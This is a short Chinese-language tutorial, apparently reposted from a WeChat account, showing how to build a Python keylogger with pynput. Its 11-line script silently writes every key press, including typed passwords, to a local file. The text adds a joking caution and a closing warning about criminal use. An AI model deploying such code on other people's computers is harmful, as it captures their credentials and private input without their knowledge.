用 Python 做一個按鍵記錄器
按鍵記錄器,就你在電腦上的每個按鍵,都會被記錄下來,可以進行操作追蹤,當然了,你在網站上輸入的用戶名密碼等敏感信息也會被記錄下來。用 Python 實現這個可以說非常簡單,不過這玩意請不要用在別人的電腦上,哈哈。
教程
pynput 模塊可以幫助我們實現,不過,這不是標準庫,因此需要 pip 安裝一下:
- pip install pynput
然后編寫下面的 11 行代碼,保存為 key_track.py
- from pynput.keyboard import Listener
- def write_to_file(key):
- letter = str(key)
- letter = letter.replace("'", "")
- with open("./log.txt", 'a') as f:
- f.write(letter)
- if __name__ == '__main__':
- with Listener(on_press=write_to_file) as l:
- l.join()
在命令行執行這個腳本:
這個提示告訴我們要在系統設置里面允許程序訪問鍵盤記錄,對于 MacOS 就是這里:
然后輸入按鍵,就可以在 log.txt 中看到按鍵記錄,按鍵被記錄時,你不會有任何異常感覺:
最后的話
本文分享了一個 Python 按鍵記錄器腳本,這可用于攔截通過鍵盤輸入的密碼和其他機密信息,對用戶構成嚴重威脅。網絡犯罪分子可以由此獲得電子支付的 PIN 碼和帳號、密碼、電子郵件地址、用戶名和其他個人信息。
如果覺得本文有幫助,還請給個在看,感謝你的支持。
本文轉載自微信公眾號「Python七號」,可以通過以下二維碼關注。轉載本文請聯系Python七號公眾號。